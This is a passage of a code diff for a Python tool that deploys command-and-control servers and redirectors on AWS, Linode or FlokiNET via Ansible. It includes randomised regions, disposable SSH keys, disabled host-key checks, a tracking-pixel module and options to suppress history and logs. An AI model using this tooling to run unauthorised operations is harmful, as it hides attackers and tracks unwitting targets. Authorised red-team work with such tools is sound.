- {file}") - print(f"[!] You may need to create these files before deployment will work.") - return False - - return True - -def generate_random_string(length=12): +def generate_random_string(length=8): """Generate a random string of letters and digits.""" return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) -def generate_ssh_key(key_name): - """Generate an SSH key with the given key name.""" +def generate_ssh_key(): + """Generate an SSH key for deployment""" + rand_suffix = generate_random_string() + key_name = f"c2deploy_{rand_suffix}" ssh_dir = os.path.expanduser("~/.ssh") os.makedirs(ssh_dir, exist_ok=True) private_key_path = os.path.join(ssh_dir, key_name) public_key_path = f"{private_key_path}.pub" - print(f"Generating SSH key: {key_name}") - subprocess.run( - ["ssh-keygen", "-t", "ed25519", "-f", private_key_path, "-N", "", "-C", ""], - check=True - ) - - os.chmod(private_key_path, 0o600) - return private_key_path, public_key_path - -def prepare_ssh_key(config): - """Prepare and validate SSH key, generating a new one if needed""" - # Check if SSH key is provided - ssh_key = config.get('ssh_key') - - # If key not provided or doesn't exist, generate a new one - if not ssh_key or not os.path.exists(os.path.expanduser(ssh_key)): - if ssh_key and not os.path.exists(os.path.expanduser(ssh_key)): - print(f"[-] Warning: Specified SSH key {ssh_key} not found") - - ssh_key = generate_ssh_key() - if not ssh_key: - return None, None - - config['ssh_key'] = ssh_key - - # Make sure we're using the expanded path - ssh_key = os.path.expanduser(ssh_key) - - # Ensure the public key exists - ssh_public_key = f"{ssh_key}.pub" - if not os.path.exists(ssh_public_key): - print(f"[-] Warning: SSH public key not found at {ssh_public_key}, generating new key pair") - ssh_key = generate_ssh_key() - if not ssh_key: - return None, None - - config['ssh_key'] = ssh_key - ssh_public_key = f"{ssh_key}.pub" - - # Read the public key content + logging.info(f"Generating SSH key: {key_name}") try: - with open(ssh_public_key, 'r') as f: - ssh_key_content = f.read().strip() - - # Verify and fix permissions - current_mode = os.stat(ssh_key).st_mode & 0o777 - if current_mode != 0o600: - print(f"[!] SSH key has incorrect permissions: {oct(current_mode)[2:]}. Fixing to 0600...") - os.chmod(ssh_key, 0o600) - print(f"[+] SSH key permissions fixed") - - return ssh_key, ssh_key_content - except Exception as e: - print(f"[-] Error reading SSH public key: {e}") - return None, None - -def get_instance_ip(instance_name, config): - """Get the IP address of an EC2 instance by name""" - try: - cmd = [ - "aws", "ec2", "describe-instances", - "--filters", f"Name=tag:Name,Values={instance_name}", - "--query", "Reservations[0].Instances[0].PublicIpAddress", - "--output", "text", - "--region", config.get('aws_region', 'us-east-1') - ] - - result = subprocess.check_output(cmd).decode().strip() - - if result == "None" or not result: - # Try again with a different command format that works better in some AWS CLI versions - cmd = [ - "aws", "ec2", "describe-instances", - "--filters", f"Name=tag:Name,Values={instance_name}", - "Name=instance-state-name,Values=running", - "--query", "Reservations[*].Instances[*].PublicIpAddress", - "--output", "text", - "--region", config.get('aws_region', 'us-east-1') - ] - result = subprocess.check_output(cmd).decode().strip() - - if result and result != "None": - print(f"[+] Found IP address for {instance_name}: {result}") - return result - else: - print(f"[-] Could not find IP address for instance {instance_name}") - return None + subprocess.run( + ["ssh-keygen", "-t", "ed25519", "-f", private_key_path, "-N", "", "-C", ""], + check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + os.chmod(private_key_path, 0o600) + logging.info(f"SSH key generated successfully: {private_key_path}") + return private_key_path except subprocess.CalledProcessError as e: - print(f"[-] Error getting instance IP: {e}") + logging.error(f"Failed to generate SSH key: {e}") return None -def get_linode_id(instance_name, config): - """Get the ID of a Linode instance by name with better error handling""" - try: - cmd = [ - "linode-cli", "--json", "linodes", "list", - "--label", instance_name - ] - - result = subprocess.check_output(cmd, stderr=subprocess.PIPE) - - # Parse the JSON response - instances = json.loads(result.decode()) - - if instances and len(instances) > 0: - linode_id = instances[0]['id'] - print(f"[+] Found Linode ID for {instance_name}: {linode_id}") - return linode_id - else: - print(f"[*] No Linode instance found with name: {instance_name}") - return None - except subprocess.CalledProcessError as e: - error_output = e.stderr.decode() if e.stderr else "No error output" - print(f"[*] Linode CLI failed when looking up instance {instance_name}: {error_output}") - return None - except json.JSONDecodeError as e: - print(f"[*] JSON parsing error when looking up instance {instance_name}: {e}") - return None - except Exception as e: - print(f"[*] Unexpected error getting Linode ID for {instance_name}: {e}") +def select_random_region(config): + """Select a random region from the available regions for the provider""" + provider = config['provider'] + + region_choices = [] + if provider == "aws": + region_choices = config.get("aws_region_choices", []) + elif provider == "linode": + region_choices = config.get("region_choices", []) + elif provider == "flokinet": + region_choices = config.get("flokinet_region_choices", []) + + if not region_choices: + logging.warning(f"No region choices found for {provider}") return None + + # Select random region + region = random.choice(region_choices) + logging.info(f"Selected random {provider} region: {region}") + return region -def get_linode_id(instance_name, config): - """Get the ID of a Linode instance by name with better error handling""" - try: - cmd = [ - "linode-cli", "--json", "linodes", "list", - "--label", instance_name - ] - - result = subprocess.check_output(cmd, stderr=subprocess.PIPE) - - # Parse the JSON response - instances = json.loads(result.decode()) - - if instances and len(instances) > 0: - linode_id = instances[0]['id'] - print(f"[+] Found Linode ID for {instance_name}: {linode_id}") - return linode_id - else: - print(f"[*] No Linode instance found with name: {instance_name}") - return None - except subprocess.CalledProcessError as e: - error_output = e.stderr.decode() if e.stderr else "No error output" - print(f"[*] Linode CLI failed when looking up instance {instance_name}: {error_output}") - return None - except json.JSONDecodeError as e: - print(f"[*] JSON parsing error when looking up instance {instance_name}: {e}") - return None - except Exception as e: - print(f"[*] Unexpected error getting Linode ID for {instance_name}: {e}") - return None +def create_inventory_file(config, deployment_type): + """Create a temporary inventory file for Ansible based on deployment type""" + inventory_content = [] + inventory_content.append("[all:vars]") + + # Add common variables + if config.get('ssh_key'): + inventory_content.append(f"ansible_ssh_private_key_file={config['ssh_key']}") + if config.get('ssh_user'): + inventory_content.append(f"ansible_user={config['ssh_user']}") + inventory_content.append("ansible_python_interpreter=/usr/bin/python3") + + # Add specific host sections based on deployment type + if deployment_type == "local": + inventory_content.append("\n[local]") + inventory_content.append("localhost ansible_connection=local") + elif deployment_type == "redirector": + inventory_content.append("\n[redirectors]") + inventory_content.append(f"redirector ansible_host={config.get('redirector_ip', '127.0.0.1')}") + elif deployment_type == "c2": + inventory_content.append("\n[c2servers]") + inventory_content.append(f"c2 ansible_host={config.get('c2_ip', '127.0.0.1')}") + + # Create temporary file + fd, inventory_path = tempfile.mkstemp(prefix=f"inventory_{deployment_type}_", suffix=".ini") + with os.fdopen(fd, 'w') as f: + f.write("\n".join(inventory_content)) + + logging.debug(f"Created inventory file at {inventory_path} with content:") + logging.debug("\n".join(inventory_content)) + + return inventory_path -def ssh_to_c2(config): - """SSH into the C2 server after successful deployment""" - print("[+] Attempting to SSH into C2 server...") +def run_ansible_playbook(playbook, inventory, config, debug=False): + """Run an Ansible playbook with the given inventory and config""" + # Convert config dict to JSON for extra-vars + # Filter out None values and complex objects + extra_vars = {k: v for k, v in config.items() if v is not None and not isinstance(v, (dict, list, tuple))} + extra_vars_json = json.dumps(extra_vars) - # Get C2 server details - c2_ip = config.get('c2_ip') - key_path = config.get('c2_key_path') - - # Check if we have the necessary information - if not c2_ip: - print(f"[-] Error: No C2 IP address found") - return False - - if not key_path: - print(f"[-] Error: No SSH key path found for C2 server") - return False - - # Determine user and port - user = config.get('ssh_user', 'root') - port = config.get('ssh_port', 22) - - # Wait a few seconds to ensure everything is fully set up - print(f"[+] Waiting 10 seconds for SSH to be fully ready on {c2_ip}...") - time.sleep(10) - - # Build the SSH command - ssh_cmd = [ - "ssh", - "-i", key_path, - "-o", "StrictHostKeyChecking=no", - "-o", "UserKnownHostsFile=/dev/null", # For OPSEC, don't store the host key + # Build command + cmd = [ + "ansible-playbook", + "-i", inventory, + playbook, + "-e", extra_vars_json ] - # Add port if not standard - if port != 22: - ssh_cmd.extend(["-p", str(port)]) + # Add verbosity if debug mode is enabled + if debug: + cmd.append("-vvv") - # Add user and host - ssh_cmd.append(f"{user}@{c2_ip}") - - print(f"[+] Connecting to C2 server at {c2_ip}...") - print(f"[+] SSH command: {' '.join(ssh_cmd)}") + # Log the command + logging.debug(f"Running Ansible command: {' '.join(cmd)}") + # Run the command try: - # Execute SSH command - subprocess.call(ssh_cmd) - return True + result = subprocess.run( + cmd, + check=True, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True + ) + logging.info(f"Playbook {playbook} executed successfully") + return True, result.stdout, result.stderr + except subprocess.CalledProcessError as e: + logging.error(f"Playbook {playbook} failed with exit code {e.returncode}") + logging.error(f"Error output: {e.stderr}") + return False, e.stdout, e.stderr + +def deploy_infrastructure(config): + """Deploy infrastructure based on provider and configuration""" + provider = config['provider'] + logging.info(f"Deploying {provider} infrastructure...") + + # Set provider-specific environment variables + if provider == "aws": + if config.get('aws_access_key'): + os.environ['AWS_ACCESS_KEY_ID'] = config['aws_access_key'] + if config.get('aws_secret_key'): + os.environ['AWS_SECRET_ACCESS_KEY'] = config['aws_secret_key'] + elif provider == "linode": + if config.get('linode_token'): + os.environ['LINODE_TOKEN'] = config['linode_token'] + + # Select random region if not specified + if provider == "aws" and not config.get('aws_region'): + config['aws_region'] = select_random_region(config) + elif provider == "linode" and not config.get('linode_region'): + config['linode_region'] = select_random_region(config) + + # Determine playbook path based on deployment mode + if config.get('redirector_only'): + playbook = f"{provider}/redirector.yml" + deployment_type = "redirector" + elif config.get('c2_only'): + playbook = f"{provider}/c2.yml" + deployment_type = "c2" + else: + # Full deployment + if provider == "flokinet": + # FlokiNET requires separate deployments for redirector and C2 + redirector_success = deploy_flokinet_redirector(config) + if not redirector_success: + return False + + # If redirector deployed successfully, deploy C2 + return deploy_flokinet_c2(config) + else: + # AWS and Linode use a single playbook for full deployment + playbook = f"{provider}/c2-deploy.yaml" + deployment_type = "local" + + # Create inventory file + inventory_path = create_inventory_file(config, deployment_type) + + # Run the playbook + try: + success, stdout, stderr = run_ansible_playbook( + playbook, inventory_path, config, config.get('debug', False) + ) + + # Clean up inventory file + if os.path.exists(inventory_path): + os.unlink(inventory_path) + + return success except Exception as e: - print(f"[-] Error SSHing to C2 server: {e}") + logging.error(f"Deployment failed: {e}") + + # Clean up inventory file + if os.path.exists(inventory_path): + os.unlink(inventory_path) + return False +def deploy_flokinet_redirector(config): + """Deploy FlokiNET redirector separately""" + logging.info("Deploying FlokiNET redirector...") + + # Verify redirector IP is provided + if not config.get('flokinet_redirector_ip'): + logging.error("FlokiNET redirector IP is required") + return False + + # Set redirector_ip in config for inventory + config['redirector_ip'] = config['flokinet_redirector_ip'] + + # Create inventory file for redirector + inventory_path = create_inventory_file(config, "redirector") + + # Run the playbook + playbook = "FlokiNET/redirector.yml" + try: + success, stdout, stderr = run_ansible_playbook( + playbook, inventory_path, config, config.get('debug', False) + ) + + # Clean up inventory file + if os.path.exists(inventory_path): + os.unlink(inventory_path) + + return success + except Exception as e: + logging.error(f"FlokiNET redirector deployment failed: {e}") + + # Clean up inventory file + if os.path.exists(inventory_path): + os.unlink(inventory_path) + + return False -def cleanup_interrupted_deployment(provider, deployed_instances, generated_ssh_keys): - """Clean up resources after an interrupted deployment""" - print("[+] Cleaning up deployed resources...") +def deploy_flokinet_c2(config): + """Deploy FlokiNET C2 separately""" + logging.info("Deploying FlokiNET C2 server...") - # Clean up based on provider - if provider.lower() == 'aws': - for instance in deployed_instances: - if isinstance(instance, tuple) and len(instance) >= 2: - instance_name, instance_id = instance - try: - print(f"[+] Terminating AWS instance: {instance_name} (ID: {instance_id})") - cmd = f"aws ec2 terminate-instances --instance-ids {instance_id}" - subprocess.run(cmd, shell=True, check=False) - except Exception as e: - print(f"[!] Error terminating AWS instance {instance_name}: {e}") + # Verify C2 IP is provided + if not config.get('flokinet_c2_ip'): + logging.error("FlokiNET C2 IP is required") + return False - elif provider.lower() == 'linode': - for instance in deployed_instances: - if isinstance(instance, tuple) and len(instance) >= 2: - instance_name, instance_id = instance - try: - print(f"[+] Deleting Linode instance: {instance_name} (ID: {instance_id})") - cmd = f"linode-cli linodes delete {instance_id} --yes" - subprocess.run(cmd, shell=True, check=False) - except Exception as e: - print(f"[!] Error deleting Linode instance {instance_name}: {e}") + # Set c2_ip in config for inventory + config['c2_ip'] = config['flokinet_c2_ip'] - elif provider.lower() == 'flokinet': - print("[!] FlokiNET instances must be cleaned up manually through their web interface.") - print("[!] Please log in to your FlokiNET account and remove the deployed instances.") + # Create inventory file for C2 + inventory_path = create_inventory_file(config, "c2") - # Clean up generated SSH keys - for ssh_key in generated_ssh_keys: + # Run the playbook + playbook = "FlokiNET/c2.yml" + try: + success, stdout, stderr = run_ansible_playbook( + playbook, inventory_path, config, config.get('debug', False) + ) + + # Clean up inventory file + if os.path.exists(inventory_path): + os.unlink(inventory_path) + + return success + except Exception as e: + logging.error(f"FlokiNET C2 deployment failed: {e}") + + # Clean up inventory file + if os.path.exists(inventory_path): + os.unlink(inventory_path) + + return False + +def ssh_to_instance(config): + """SSH into the deployed instance""" + logging.info("Connecting to instance via SSH...") + + # Determine which IP to use based on deployment type + if config.get('redirector_only'): + ip_key = 'redirector_ip' + instance_type = 'redirector' + else: + ip_key = 'c2_ip' + instance_type = 'C2 server' + + # Use provider-specific IP if available + if config['provider'] == 'flokinet': + if config.get('redirector_only') and config.get('flokinet_redirector_ip'): + ip = config['flokinet_redirector_ip'] + elif config.get('c2_only') and config.get('flokinet_c2_ip'): + ip = config['flokinet_c2_ip'] + else: + ip = config.get(ip_key) + else: + ip = config.get(ip_key) + + if not ip: + logging.error(f"No IP address found for {instance_type}") + return False + + # Get SSH key and user + ssh_key = config.get('ssh_key') + if not ssh_key: + logging.error("No SSH key specified") + return False + + ssh_user = config.get('ssh_user') + if not ssh_user: + logging.error("No SSH user specified") + return False + + # Build SSH command + ssh_cmd = [ + "ssh", + "-o", "StrictHostKeyChecking=no", + "-o", "UserKnownHostsFile=/dev/null", + "-o", "IdentitiesOnly=yes", + "-i", ssh_key, + f"{ssh_user}@{ip}" + ] + + # Add port if specified + if config.get('ssh_port'): + ssh_cmd.extend(["-p", str(config['ssh_port'])]) + + logging.info(f"SSH command: {' '.join(ssh_cmd)}") + + # Execute SSH command + try: + subprocess.run(ssh_cmd) + return True + except subprocess.CalledProcessError as e: + logging.error(f"SSH connection failed: {e}") + return False + except KeyboardInterrupt: + logging.info("SSH connection interrupted by user") + return True + +def cleanup_resources(config): + """Clean up resources if deployment fails""" + provider = config.get('provider') + logging.info(f"Cleaning up {provider} resources...") + + # Use Ansible for cleanup + playbook = f"{provider}/cleanup.yml" + if os.path.exists(playbook): + logging.info(f"Running cleanup playbook: {playbook}") + inventory_path = create_inventory_file(config, "local") try: - print(f"[+] Removing generated SSH key: {ssh_key}") - if os.path.exists(ssh_key): - os.remove(ssh_key) + run_ansible_playbook(playbook, inventory_path, config) + except Exception as e: + logging.error(f"Cleanup playbook failed: {e}") + finally: + if os.path.exists(inventory_path): + os.unlink(inventory_path) + else: + logging.warning(f"No cleanup playbook found at {playbook}") + + # Clean up SSH key if we generated one + ssh_key = config.get('ssh_key') + if ssh_key and ssh_key.startswith(os.path.expanduser("~/.ssh/c2deploy_")): + logging.info(f"Removing generated SSH key: {ssh_key}") + try: + os.remove(ssh_key) if os.path.exists(f"{ssh_key}.pub"): os.remove(f"{ssh_key}.pub") except Exception as e: - print(f"[!] Error removing SSH key {ssh_key}: {e}") - - print("[+] Cleanup completed.") - -def run_command_with_logging(cmd, config, log_file=None): - """Run a command and log both stdout and stderr to the deployment log""" - try: - print(f"[+] Running: {cmd}") - - # If no log file specified, create or use the deployment log - if not log_file: - timestamp = datetime.now().strftime('%Y%m%d_%H%M%S') - log_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "logs") - os.makedirs(log_dir, exist_ok=True) - log_file = os.path.join(log_dir, f"deployment_{timestamp}.log") - - # Append command to log file - with open(log_file, 'a') as f: - f.write(f"\n\n==== COMMAND EXECUTION: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} ====\n") - f.write(f"COMMAND: {cmd}\n\n") - f.write("OUTPUT:\n") - - # Execute the command and capture output - process = subprocess.Popen( - cmd, - shell=True, - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - universal_newlines=True - ) - - # Read output in real-time - stdout_data = "" - stderr_data = "" - - # Read and process output - while True: - # Use communicate with timeout to avoid hanging - try: - # Small timeout to read incrementally - stdout, stderr = process.communicate(timeout=0.5) - stdout_data += stdout - stderr_data += stderr - - # Write to log file - with open(log_file, 'a') as f: - if stdout: - f.write(f"STDOUT: {stdout}") - print(stdout.strip()) - if stderr: - f.write(f"STDERR: {stderr}") - print(stderr.strip(), file=sys.stderr) - - # If process has completed, break - if process.poll() is not None: - break - - except subprocess.TimeoutExpired: - # Timeout expired, continue to next iteration - continue - - # Get return code - return_code = process.poll() - - # Log completion status - with open(log_file, 'a') as f: - f.write(f"\nRETURN CODE: {return_code}\n") - f.write(f"==== END COMMAND EXECUTION ====\n\n") - - # Check if command succeeded - if return_code != 0: - raise subprocess.CalledProcessError(return_code, cmd, stdout_data, stderr_data) - - return True, stdout_data, stderr_data - - except subprocess.CalledProcessError as e: - # Log error details - with open(log_file, 'a') as f: - f.write(f"\nERROR: Command failed with return code {e.returncode}\n") - f.write("==== END COMMAND EXECUTION WITH ERROR ====\n\n") - - print(f"[-] Command failed with return code {e.returncode}") - return False, e.stdout, e.stderr - - except Exception as e: - # Log unexpected error - with open(log_file, 'a') as f: - f.write(f"\nUNEXPECTED ERROR: {str(e)}\n") - f.write("==== END COMMAND EXECUTION WITH UNEXPECTED ERROR ====\n\n") - - print(f"[-] Unexpected error running command: {e}") - return False, "", str(e) - -def run_tests(config): - """Run basic connectivity and functionality tests""" - print("[+] Running connectivity tests...") - - # Test both redirector and C2 if both were deployed - if not config.get('redirector_only') and not config.get('c2_only'): - # Test redirector first - redirector_ip = config.get('redirector_ip') - if redirector_ip: - print(f"[+] Testing redirector at {redirector_ip}...") - try: - # Try to ping the redirector - ping_cmd = ["ping", "-c", "3", redirector_ip] - subprocess.run(ping_cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - print(f"[+] Redirector ping test successful") - - # Test SSH connection - test_ssh(redirector_ip, config.get('redirector_key_path'), config.get('ssh_user', 'root'), config.get('ssh_port', 22)) - - # Test HTTP(S) connectivity if deployed with a domain - if config.get('domain') != 'example.com': - test_http(f"https://cdn.{config['domain']}") - except subprocess.CalledProcessError as e: - print(f"[-] Redirector connectivity test failed: {e}") - - # Then test C2 - c2_ip = config.get('c2_ip') - if c2_ip: - print(f"[+] Testing C2 server at {c2_ip}...") - try: - # Try to ping the C2 server - ping_cmd = ["ping", "-c", "3", c2_ip] - subprocess.run(ping_cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - print(f"[+] C2 server ping test successful") - - # Test SSH connection - test_ssh(c2_ip, config.get('c2_key_path'), config.get('ssh_user', 'root'), config.get('ssh_port', 22)) - - # Test HTTP(S) connectivity if deployed with a domain - if config.get('domain') != 'example.com': - test_http(f"https://mail.{config['domain']}") - except subprocess.CalledProcessError as e: - print(f"[-] C2 server connectivity test failed: {e}") - - # Test only redirector if that's all that was deployed - elif config.get('redirector_only'): - redirector_ip = config.get('redirector_ip') - if redirector_ip: - print(f"[+] Testing redirector at {redirector_ip}...") - try: - # Try to ping the redirector - ping_cmd = ["ping", "-c", "3", redirector_ip] - subprocess.run(ping_cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - print(f"[+] Redirector ping test successful") - - # Test SSH connection - test_ssh(redirector_ip, config.get('redirector_key_path'), config.get('ssh_user', 'root'), config.get('ssh_port', 22)) - - # Test HTTP(S) connectivity if deployed with a domain - if config.get('domain') != 'example.com': - test_http(f"https://cdn.{config['domain']}") - except subprocess.CalledProcessError as e: - print(f"[-] Redirector connectivity test failed: {e}") - - # Test only C2 if that's all that was deployed - elif config.get('c2_only'): - c2_ip = config.get('c2_ip') - if c2_ip: - print(f"[+] Testing C2 server at {c2_ip}...") - try: - # Try to ping the C2 server - ping_cmd = ["ping", "-c", "3", c2_ip] - subprocess.run(ping_cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - print(f"[+] C2 server ping test successful") - - # Test SSH connection - test_ssh(c2_ip, config.get('c2_key_path'), config.get('ssh_user', 'root'), config.get('ssh_port', 22)) - - # Test HTTP(S) connectivity if deployed with a domain - if config.get('domain') != 'example.com': - test_http(f"https://mail.{config['domain']}") - except subprocess.CalledProcessError as e: - print(f"[-] C2 server connectivity test failed: {e}") - - print("[+] Tests completed") - return True - -def test_ssh(ip, key_path, user, port): - """Test SSH connectivity to a server""" - print(f"[+] Testing SSH connectivity to {ip}...") - try: - # Use the paramiko library for a programmatic SSH connection test - client = paramiko.SSHClient() - client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) - - # Connect with timeout - client.connect(ip, port=port, username=user, key_filename=key_path, timeout=10) - - # Run a simple command to check if the connection works - stdin, stdout, stderr = client.exec_command("echo SSH test successful") - response = stdout.read().decode().strip() - - # Close the connection - client.close() - - print(f"[+] SSH test result: {response}") - return True - except Exception as e: - print(f"[-] SSH connectivity test failed: {e}") - return False - -def test_http(url): - """Test HTTP(S) connectivity to a URL""" - print(f"[+] Testing HTTP(S) connectivity to {url}...") - try: - # Use requests library with a timeout - response = subprocess.run(["curl", "-s", "-k", "-L", "--connect-timeout", "10", url], check=True, stdout=subprocess.PIPE) - - # Check if we got a response - if response.stdout: - print(f"[+] HTTP(S) test successful") - return True - else: - print(f"[-] HTTP(S) test returned empty response") - return False - except subprocess.CalledProcessError as e: - print(f"[-] HTTP(S) connectivity test failed: {e}") - return False - -def deploy_with_error_handling(provider_func, config): - """Deploy with better error handling and logs""" - logs_created = [] - deployed_resources = [] - - try: - result, logs, resources = provider_func(config) - logs_created.extend(logs) - deployed_resources.extend(resources) - return result, logs_created, deployed_resources - except subprocess.CalledProcessError as e: - # Log detailed error information - error_log = log_debug_info(e.cmd, e) - if error_log: - logs_created.append(error_log) - print(f"[-] Deployment failed: {e}. See {error_log} for detailed debug information.") - return False, logs_created, deployed_resources - except Exception as e: - error_log = log_debug_info("Unknown command", e) - if error_log: - logs_created.append(error_log) - print(f"[-] Unexpected error during deployment: {e}. See {error_log} for details.") - return False, logs_created, deployed_resources - -def deploy_tracker_module(config): - """Deploy tracker module alongside the C2 infrastructure""" - if not config.get('deploy_tracker'): - return True - - print("[+] Deploying tracker module...") - - # Make sure the module exists - tracker_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "modules/tracker") - if not os.path.exists(tracker_dir): - print(f"[-] Error: Tracker module directory not found at {tracker_dir}") - print("[-] Make sure the tracker module is installed in the modules/tracker directory") - return False - - # Prepare tracker deploy command - tracker_script = os.path.join(tracker_dir, "Tools/deploy_tracker.py") - if not os.path.exists(tracker_script): - print(f"[-] Error: Tracker deployment script not found at {tracker_script}") - return False - - # Build command arguments - tracker_cmd = [ - "python3", tracker_script, - "--quick-deploy" # Use quick deployment mode - ] - - # Add domain if specified - if config.get('tracker_domain'): - tracker_cmd.extend(["--domain", config['tracker_domain']]) - else: - tracker_cmd.append("--ip-only") - - # Add email if specified - if config.get('tracker_email'): - tracker_cmd.extend(["--email", config['tracker_email']]) - - # Add tracker name if specified - if config.get('tracker_name'): - tracker_cmd.extend(["--engagement-name", config['tracker_name']]) - - # Add IPinfo token if specified - if config.get('tracker_ipinfo_token'): - tracker_cmd.extend(["--ipinfo-token", config['tracker_ipinfo_token']]) - - # Add SSL setup if requested - if config.get('tracker_setup_ssl'): - tracker_cmd.append("--setup-ssl") - - # Add tracking pixel creation if requested - if config.get('tracker_create_pixel'): - tracker_cmd.append("--create-pixel") - - # Run the tracker deployment command - try: - print(f"[+] Running tracker deployment: {' '.join(tracker_cmd)}") - subprocess.run(tracker_cmd, check=True) - print("[+] Tracker module deployed successfully") - return True - except subprocess.CalledProcessError as e: - print(f"[-] Error deploying tracker module: {e}") - return False - -def interactive_config(): - """Interactively collect configuration""" - config = {} - - # Initialize deployment mode flags - config['redirector_only'] = False - config['c2_only'] = False - - # Select provider - print("\n=== Provider Selection ===") - print("Available providers:") - for i, provider in enumerate(PROVIDERS): - print(f" {i+1}. {provider}") - - while True: - try: - choice = int(input("\nSelect provider (1-3): ")) - 1 - if 0 <= choice < len(PROVIDERS): - config['provider'] = PROVIDERS[choice] - break - else: - print("Invalid choice. Please enter a number between 1 and 3.") - except ValueError: - print("Invalid input. Please enter a number.") - - # Provider-specific configuration - if config['provider'] == 'aws': - print("\n=== AWS Configuration ===") - - # Try to load defaults from vars.yaml - aws_vars = load_vars_file('AWS') - default_key = aws_vars.get('aws_access_key', '') - default_secret = aws_vars.get('aws_secret_key', '') - - config['aws_key'] = input(f"AWS Access Key [{default_key[:4]}{'*'*(len(default_key)-4) if default_key else ''}]: ") or default_key - config['aws_secret'] = input(f"AWS Secret Key [{default_secret[:4]}{'*'*(len(default_secret)-4) if default_secret else ''}]: ") or default_secret - - # Region choices - region_choices = aws_vars.get('aws_region_choices', [DEFAULT_REGION['aws']]) - print("\nAvailable AWS regions:") - for i, region in enumerate(region_choices): - print(f" {i+1}. {region}") - - use_random = input("\nUse random region? (Y/n): ").lower() != 'n' - if use_random: - config['aws_region'] = None # Will be randomized later - else: - while True: - try: - region_choice = int(input(f"Select region (1-{len(region_choices)}): ")) - 1 - if 0 <= region_choice < len(region_choices): - config['aws_region'] = region_choices[region_choice] - break - except ValueError: - pass - print(f"Invalid choice. Please enter a number between 1 and {len(region_choices)}.") - - # Ask for architecture type - print("\nDeployment architecture:") - print(" 1. Combined (single server for both redirector and C2)") - print(" 2. Split (separate servers for redirector and C2)") - arch_choice = input("\nSelect architecture (1-2, default: 2): ") or "2" - if arch_choice == "1": - config['redirector_only'] = False - config['c2_only'] = False - else: - # For split architecture, ask which components to deploy - comp_choice = input("\nDeploy (1: Both components, 2: Redirector only, 3: C2 only, default: 1): ") or "1" - if comp_choice == "2": - config['redirector_only'] = True - config['c2_only'] = False - elif comp_choice == "3": - config['redirector_only'] = False - config['c2_only'] = True - else: - config['redirector_only'] = False - config['c2_only'] = False - - elif config['provider'] == 'linode': - print("\n=== Linode Configuration ===") - - # Try to load defaults from vars.yaml - linode_vars = load_vars_file('Linode') - default_token = linode_vars.get('linode_token', '') - - config['linode_token'] = input(f"Linode API Token [{default_token[:4]}{'*'*(len(default_token)-4) if default_token else ''}]: ") or default_token - - # Region choices - region_choices = linode_vars.get('region_choices', [DEFAULT_REGION['linode']]) - print("\nAvailable Linode regions:") - for i, region in enumerate(region_choices): - print(f" {i+1}. {region}") - - use_random = input("\nUse random region? (Y/n): ").lower() != 'n' - if use_random: - config['linode_region'] = None # Will be randomized later - else: - while True: - try: - region_choice = int(input(f"Select region (1-{len(region_choices)}): ")) - 1 - if 0 <= region_choice < len(region_choices): - config['linode_region'] = region_choices[region_choice] - break - except ValueError: - pass - print(f"Invalid choice. Please enter a number between 1 and {len(region_choices)}.") - - # Ask for architecture type - print("\nDeployment architecture:") - print(" 1. Combined (single server for both redirector and C2)") - print(" 2. Split (separate servers for redirector and C2)") - arch_choice = input("\nSelect architecture (1-2, default: 2): ") or "2" - if arch_choice == "1": - config['redirector_only'] = False - config['c2_only'] = False - else: - # For split architecture, ask which components to deploy - comp_choice = input("\nDeploy (1: Both components, 2: Redirector only, 3: C2 only, default: 1): ") or "1" - if comp_choice == "2": - config['redirector_only'] = True - config['c2_only'] = False - elif comp_choice == "3": - config['redirector_only'] = False - config['c2_only'] = True - else: - config['redirector_only'] = False - config['c2_only'] = False - - elif config['provider'] == 'flokinet': - print("\n=== FlokiNET Configuration ===") - print("Note: FlokiNET requires manual server setup due to their privacy focus") - - # Try to load defaults from vars.yaml - flokinet_vars = load_vars_file('FlokiNET') - - # Deployment mode - print("\nDeployment mode:") - print(" 1. Full deployment (redirector and C2)") - print(" 2. Redirector only") - print(" 3. C2 server only") - - while True: - try: - mode = int(input("\nSelect deployment mode (1-3): ")) - if 1 <= mode <= 3: - break - else: - print("Invalid choice. Please enter a number between 1 and 3.") - except ValueError: - print("Invalid input. Please enter a number.") - - # Set deployment flags - if mode == 2: - config['redirector_only'] = True - config['c2_only'] = False - config['flokinet_redirector_ip'] = input("FlokiNET Redirector IP: ") - elif mode == 3: - config['redirector_only'] = False - config['c2_only'] = True - config['flokinet_c2_ip'] = input("FlokiNET C2 Server IP: ") - - # Need redirector IP for configuration - config['flokinet_redirector_ip'] = input("Existing Redirector IP (for configuration): ") - else: - config['redirector_only'] = False - config['c2_only'] = False - config['flokinet_redirector_ip'] = input("FlokiNET Redirector IP: ") - config['flokinet_c2_ip'] = input("FlokiNET C2 Server IP: ") - - # General configuration - print("\n=== General Configuration ===") - - # SSH key and user - default_ssh_user = config.get('ssh_user', 'root') - config['ssh_user'] = input(f"SSH Username (default: {default_ssh_user}): ") or default_ssh_user - - default_ssh_key = '~/.ssh/id_rsa' - if config['provider'] == 'aws': - ssh_key = input(f"Path to SSH private key (leave empty to generate): ") - else: - ssh_key = input(f"Path to SSH private key (default: {default_ssh_key}): ") or default_ssh_key - - if not ssh_key and config['provider'] == 'aws': - ssh_key = generate_ssh_key() - config['ssh_key'] = ssh_key - - # Domain configuration - default_domain = 'example.com' - config['domain'] = input(f"Domain name for infrastructure (default: {default_domain}): ") or default_domain - - if config['domain'] != default_domain: - default_email = f"admin@{config['domain']}" - config['letsencrypt_email'] = input(f"Email for Let's Encrypt certificate (default: {default_email}): ") or default_email - else: - config['letsencrypt_email'] = 'admin@example.com' - - # OPSEC settings - print("\n=== OPSEC Configuration ===") - disable_history = input("Disable command history? (Y/n): ").lower() or "y" - config['disable_history'] = disable_history.startswith('y') - - secure_memory = input("Enable secure memory settings? (Y/n): ").lower() or "y" - config['secure_memory'] = secure_memory.startswith('y') - - zero_logs = 